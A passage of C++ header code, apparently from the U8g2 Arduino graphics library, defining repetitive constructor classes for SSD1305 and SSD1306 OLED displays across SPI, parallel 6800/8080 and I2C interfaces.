U8G2_SSD1305_128X64_RAYSTAR_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1305_128x64_raystar_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1305_128X64_RAYSTAR_1_8080 : public U8G2 { public: U8G2_SSD1305_128X64_RAYSTAR_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1305_128x64_raystar_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1305_128X64_ADAFRUIT_2_4W_SW_SPI : public U8G2 { public: U8G2_SSD1305_128X64_ADAFRUIT_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1305_128x64_adafruit_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1305_128X64_ADAFRUIT_2_4W_HW_SPI : public U8G2 { public: U8G2_SSD1305_128X64_ADAFRUIT_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1305_128x64_adafruit_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1305_128X64_ADAFRUIT_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1305_128X64_ADAFRUIT_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1305_128x64_adafruit_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1305_128X64_ADAFRUIT_2_6800 : public U8G2 { public: U8G2_SSD1305_128X64_ADAFRUIT_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1305_128x64_adafruit_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1305_128X64_ADAFRUIT_2_8080 : public U8G2 { public: U8G2_SSD1305_128X64_ADAFRUIT_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1305_128x64_adafruit_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1305_128X64_RAYSTAR_2_4W_SW_SPI : public U8G2 { public: U8G2_SSD1305_128X64_RAYSTAR_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1305_128x64_raystar_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1305_128X64_RAYSTAR_2_4W_HW_SPI : public U8G2 { public: U8G2_SSD1305_128X64_RAYSTAR_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1305_128x64_raystar_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1305_128X64_RAYSTAR_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1305_128X64_RAYSTAR_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1305_128x64_raystar_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1305_128X64_RAYSTAR_2_6800 : public U8G2 { public: U8G2_SSD1305_128X64_RAYSTAR_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1305_128x64_raystar_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1305_128X64_RAYSTAR_2_8080 : public U8G2 { public: U8G2_SSD1305_128X64_RAYSTAR_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1305_128x64_raystar_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1305_128X64_ADAFRUIT_F_4W_SW_SPI : public U8G2 { public: U8G2_SSD1305_128X64_ADAFRUIT_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1305_128x64_adafruit_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1305_128X64_ADAFRUIT_F_4W_HW_SPI : public U8G2 { public: U8G2_SSD1305_128X64_ADAFRUIT_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1305_128x64_adafruit_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1305_128X64_ADAFRUIT_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1305_128X64_ADAFRUIT_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1305_128x64_adafruit_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1305_128X64_ADAFRUIT_F_6800 : public U8G2 { public: U8G2_SSD1305_128X64_ADAFRUIT_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1305_128x64_adafruit_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1305_128X64_ADAFRUIT_F_8080 : public U8G2 { public: U8G2_SSD1305_128X64_ADAFRUIT_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1305_128x64_adafruit_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1305_128X64_RAYSTAR_F_4W_SW_SPI : public U8G2 { public: U8G2_SSD1305_128X64_RAYSTAR_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1305_128x64_raystar_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1305_128X64_RAYSTAR_F_4W_HW_SPI : public U8G2 { public: U8G2_SSD1305_128X64_RAYSTAR_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1305_128x64_raystar_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1305_128X64_RAYSTAR_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1305_128X64_RAYSTAR_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1305_128x64_raystar_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1305_128X64_RAYSTAR_F_6800 : public U8G2 { public: U8G2_SSD1305_128X64_RAYSTAR_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1305_128x64_raystar_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1305_128X64_RAYSTAR_F_8080 : public U8G2 { public: U8G2_SSD1305_128X64_RAYSTAR_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1305_128x64_raystar_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1305_128X64_ADAFRUIT_1_SW_I2C : public U8G2 { public: U8G2_SSD1305_128X64_ADAFRUIT_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1305_i2c_128x64_adafruit_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SSD1305_128X64_ADAFRUIT_1_HW_I2C : public U8G2 { public: U8G2_SSD1305_128X64_ADAFRUIT_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1305_i2c_128x64_adafruit_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SSD1305_128X64_ADAFRUIT_1_2ND_HW_I2C : public U8G2 { public: U8G2_SSD1305_128X64_ADAFRUIT_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1305_i2c_128x64_adafruit_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SSD1305_128X64_RAYSTAR_1_SW_I2C : public U8G2 { public: U8G2_SSD1305_128X64_RAYSTAR_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1305_i2c_128x64_raystar_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SSD1305_128X64_RAYSTAR_1_HW_I2C : public U8G2 { public: U8G2_SSD1305_128X64_RAYSTAR_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1305_i2c_128x64_raystar_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SSD1305_128X64_RAYSTAR_1_2ND_HW_I2C : public U8G2 { public: U8G2_SSD1305_128X64_RAYSTAR_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1305_i2c_128x64_raystar_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SSD1305_128X64_ADAFRUIT_2_SW_I2C : public U8G2 { public: U8G2_SSD1305_128X64_ADAFRUIT_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1305_i2c_128x64_adafruit_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SSD1305_128X64_ADAFRUIT_2_HW_I2C : public U8G2 { public: U8G2_SSD1305_128X64_ADAFRUIT_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1305_i2c_128x64_adafruit_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SSD1305_128X64_ADAFRUIT_2_2ND_HW_I2C : public U8G2 { public: U8G2_SSD1305_128X64_ADAFRUIT_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1305_i2c_128x64_adafruit_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SSD1305_128X64_RAYSTAR_2_SW_I2C : public U8G2 { public: U8G2_SSD1305_128X64_RAYSTAR_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1305_i2c_128x64_raystar_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SSD1305_128X64_RAYSTAR_2_HW_I2C : public U8G2 { public: U8G2_SSD1305_128X64_RAYSTAR_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1305_i2c_128x64_raystar_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SSD1305_128X64_RAYSTAR_2_2ND_HW_I2C : public U8G2 { public: U8G2_SSD1305_128X64_RAYSTAR_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1305_i2c_128x64_raystar_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SSD1305_128X64_ADAFRUIT_F_SW_I2C : public U8G2 { public: U8G2_SSD1305_128X64_ADAFRUIT_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1305_i2c_128x64_adafruit_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SSD1305_128X64_ADAFRUIT_F_HW_I2C : public U8G2 { public: U8G2_SSD1305_128X64_ADAFRUIT_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1305_i2c_128x64_adafruit_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SSD1305_128X64_ADAFRUIT_F_2ND_HW_I2C : public U8G2 { public: U8G2_SSD1305_128X64_ADAFRUIT_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1305_i2c_128x64_adafruit_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SSD1305_128X64_RAYSTAR_F_SW_I2C : public U8G2 { public: U8G2_SSD1305_128X64_RAYSTAR_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1305_i2c_128x64_raystar_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SSD1305_128X64_RAYSTAR_F_HW_I2C : public U8G2 { public: U8G2_SSD1305_128X64_RAYSTAR_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1305_i2c_128x64_raystar_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SSD1305_128X64_RAYSTAR_F_2ND_HW_I2C : public U8G2 { public: U8G2_SSD1305_128X64_RAYSTAR_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1305_i2c_128x64_raystar_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SSD1306_2040X16_1_4W_SW_SPI : public U8G2 { public: U8G2_SSD1306_2040X16_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_2040x16_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1306_2040X16_1_4W_HW_SPI : public U8G2 { public: U8G2_SSD1306_2040X16_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_2040x16_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1306_2040X16_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1306_2040X16_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_2040x16_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1306_2040X16_1_3W_SW_SPI : public U8G2 { public: U8G2_SSD1306_2040X16_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_2040x16_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SSD1306_2040X16_1_3W_HW_SPI : public U8G2 { public: U8G2_SSD1306_2040X16_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_2040x16_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SSD1306_2040X16_1_6800 : public U8G2 { public: U8G2_SSD1306_2040X16_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_2040x16_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1306_2040X16_1_8080 : public U8G2 { public: U8G2_SSD1306_2040X16_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_2040x16_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1306_2040X16_2_4W_SW_SPI : public U8G2 { public: U8G2_SSD1306_2040X16_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_2040x16_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1306_2040X16_2_4W_HW_SPI : public U8G2 { public: U8G2_SSD1306_2040X16_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_2040x16_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1306_2040X16_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SSD1306_2040X16_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_2040x16_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SSD1306_2040X16_2_3W_SW_SPI : public U8G2 { public: U8G2_SSD1306_2040X16_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_2040x16_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SSD1306_2040X16_2_3W_HW_SPI : public U8G2 { public: U8G2_SSD1306_2040X16_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_2040x16_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SSD1306_2040X16_2_6800 : public U8G2 { public: U8G2_SSD1306_2040X16_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_2040x16_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1306_2040X16_2_8080 : public U8G2 { public: U8G2_SSD1306_2040X16_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_2040x16_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SSD1306_2040X16_F_4W_SW_SPI : public U8G2 { public: U8G2_SSD1306_2040X16_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_ssd1306_2040x16_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SSD1306_2040X16_F_4W_HW_SPI : public U8G2 { public: 